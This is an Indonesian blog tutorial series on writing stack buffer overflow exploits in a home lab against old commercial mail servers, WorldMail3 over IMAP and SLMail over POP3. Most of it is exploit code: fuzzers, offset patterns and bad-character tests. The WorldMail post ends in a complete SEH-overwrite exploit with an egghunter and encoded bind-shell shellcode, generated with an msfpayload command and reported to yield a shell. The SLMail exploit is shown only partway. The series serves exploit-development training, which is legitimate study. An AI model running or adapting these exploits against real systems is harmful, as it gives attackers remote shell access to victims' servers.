Tampilkan postingan dengan label BoF. Tampilkan semua postingan
Tampilkan postingan dengan label BoF. Tampilkan semua postingan

Jumat, 11 April 2014

Experimen BoF Ke-8

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi WorldMail3.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software WorldMail3.exe


- sedikit pemahaman tentang python di perlukan :D
- software WorldMail3 di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows


Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "}" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 1500.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = "10.7.9.246"
port = 143

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close
command = "}" * 1500
fuzz(command)
 Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "}" sebanyak 1500, sekarang kita akan membuat pattern string sebanyak 1500 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 143

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close

command = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
command += "}"
fuzz(command)
Dan ternyata aplikasi mengalami crash, tapi tidak seperti eksperimen kita sebelum nya :(
Jadi untuk melihat hasil crash nya, ada perlakuan khusus untuk kasus ini. Dari Immunity Debugger pilih menu View > SEH chain, seperti pada gambar di bawah ini

Kemudian klik kanan di value "41387A41", pilih Follow address in stack, maka baru bisa terlihat crash nya, seperti pada gambar di bawah ini. Di sini kita fokus di bagian "Pointer to next SEH record " dan "SE handler", seperti pada gambar di bawah ini:


Langkah keempat:
Sekarang kita perlu mengetahui posisi "Pointer to next SEH record " dan "SE handler" berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 143

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close

offsets = {
        'NXT': 770,
        'SEH':774
}

command = "A" * 292
command += "B" * 4 # selanjutnya di isi jmp short 6 bytes
command += "C" * 4 # selanjutnya di isi alamat memory POP POP RETN
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"command += "}"
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:


Berikut nya kita mencari alamat memory yang berisi POP POP RETN di file dll ini yang sifat nya tidak safe. Kita menggunakan script pvefindaddr.py, cara menjalankan nya di Immunity, pilih View > Log, ketik !pvefindaddr nosafeseh, tunggu sampai proses selesai. Dari sini kita akan mendapatkan info SEH yang tidak safe, termasuk target kita, seperti gambar di bawah ini:


Berikut nya kita pilih View > Executables modules, klik file dll yang tidak safe tersebut (MFldrMgr.dll). Kemudian klik kanan di area kolom pojok kiri atas, pilih Search for > Sequence of commands, kemudian input seperti ini:


Tekan Ctrl+L untuk mencari alamat POP POP RETN yang lain dan memang ternyata ada banyak. Ambil salah satu nya saja tapi yang tidak mengandung karakter yang di larang, kita ambil contoh seperti gambar berikut:



Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 143


def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send('a001 LIST ' + payload + '\r\n')
        print s.recv(1024)
        s.shutdown
        s.close

offsets = {
        'NXT': 770,
        'SEH':774
}

# utk penanda mencari suatu string yg kita cari
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
stringnya = "w00tw00t"

# 368 bytes
shellcode = stringnya + ("\xda\xc0\xb8\xce\x1e\xeb\x77\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x56\x83\xc2\x04\x31\x42\x14\x03\x42\xda\xfc\x1e\x8b\x0a\x89"
"\xe1\x74\xca\xea\x68\x91\xfb\x38\x0e\xd1\xa9\x8c\x44\xb7\x41"
"\x66\x08\x2c\xd2\x0a\x85\x43\x53\xa0\xf3\x6a\x64\x04\x3c\x20"
"\xa6\x06\xc0\x3b\xfa\xe8\xf9\xf3\x0f\xe8\x3e\xe9\xff\xb8\x97"
"\x65\xad\x2c\x93\x38\x6d\x4c\x73\x37\xcd\x36\xf6\x88\xb9\x8c"
"\xf9\xd8\x11\x9a\xb2\xc0\x1a\xc4\x62\xf0\xcf\x16\x5e\xbb\x64"
"\xec\x14\x3a\xac\x3c\xd4\x0c\x90\x93\xeb\xa0\x1d\xed\x2c\x06"
"\xfd\x98\x46\x74\x80\x9a\x9c\x06\x5e\x2e\x01\xa0\x15\x88\xe1"
"\x50\xfa\x4f\x61\x5e\xb7\x04\x2d\x43\x46\xc8\x45\x7f\xc3\xef"
"\x89\x09\x97\xcb\x0d\x51\x4c\x75\x17\x3f\x23\x8a\x47\xe7\x9c"
"\x2e\x03\x0a\xc9\x49\x4e\x43\x3e\x64\x71\x93\x28\xff\x02\xa1"
"\xf7\xab\x8c\x89\x70\x72\x4a\xed\xab\xc2\xc4\x10\x53\x33\xcc"
"\xd6\x07\x63\x66\xfe\x27\xe8\x76\xff\xf2\xbf\x26\xaf\xac\x7f"
"\x97\x0f\x1c\xe8\xfd\x9f\x43\x08\xfe\x75\xf2\x0e\x30\xad\x57"
"\xf9\x31\x51\x46\xa5\xbc\xb7\x02\x45\xe9\x60\xba\xa7\xce\xb8"
"\x5d\xd7\x24\x95\xf6\x4f\x70\xf3\xc0\x70\x81\xd1\x63\xdc\x29"
"\xb2\xf7\x0e\xee\xa3\x08\x1b\x46\xad\x31\xcc\x1c\xc3\xf0\x6c"
"\x20\xce\x62\x0c\xb3\x95\x72\x5b\xa8\x01\x25\x0c\x1e\x58\xa3"
"\xa0\x39\xf2\xd1\x38\xdf\x3d\x51\xe7\x1c\xc3\x58\x6a\x18\xe7"
"\x4a\xb2\xa1\xa3\x3e\x6a\xf4\x7d\xe8\xcc\xae\xcf\x42\x87\x1d"
"\x86\x02\x5e\x6e\x19\x54\x5f\xbb\xef\xb8\xee\x12\xb6\xc7\xdf"
"\xf2\x3e\xb0\x3d\x63\xc0\x6b\x86\x9d\x30\xa1\x13\x09\xeb\x50"
"\x5e\x57\x0c\x8f\x9d\x6e\x8f\x25\x5e\x95\x8f\x4c\x5b\xd1\x17"
"\xbd\x11\x4a\xf2\xc1\x86\x6b\xd7")

command = shellcode
command += "\x90" * (offsets['NXT'] - len(shellcode)) # nop sleed
command += "\xeb\x06\x90\x90" # jmp short 6 bytes
command += "\xde\x56\x04\x60" # salah satu alamat memory POP POP RETN
command += "\x90" * 8 # nop sleed
command += egghunter
command += "\x90" * (80-len(egghunter))
command += "}"
fuzz(command)
Selanjutnya kita perhatikan apakah script kita sudah berhasil masuk di memory, dengan menggunakan immunity, ternyata lengkap sudah script nya masuk ke memory, tinggal uji coba mendapatkan shell nya

Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:



Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Selasa, 08 April 2014

Experimen BoF Ke-7

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi SLMail55_4433.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software SLMail55_4433.exe


- sedikit pemahaman tentang python di perlukan :D
- software SLMail di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows



Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 3000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = "10.7.9.246"
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

command = "A" * 3000
fuzz(command)
 Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 3000, sekarang kita akan membuat pattern string sebanyak 3000 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

command = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
fuzz(command)
Perhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

offsets = {
      'EIP':2606,
      'ESP':2610
}

command = "A" * (offsets['EIP'])
command += "B" * 4 # berikut nya akan di isi alamat jmp esp shell32.dll
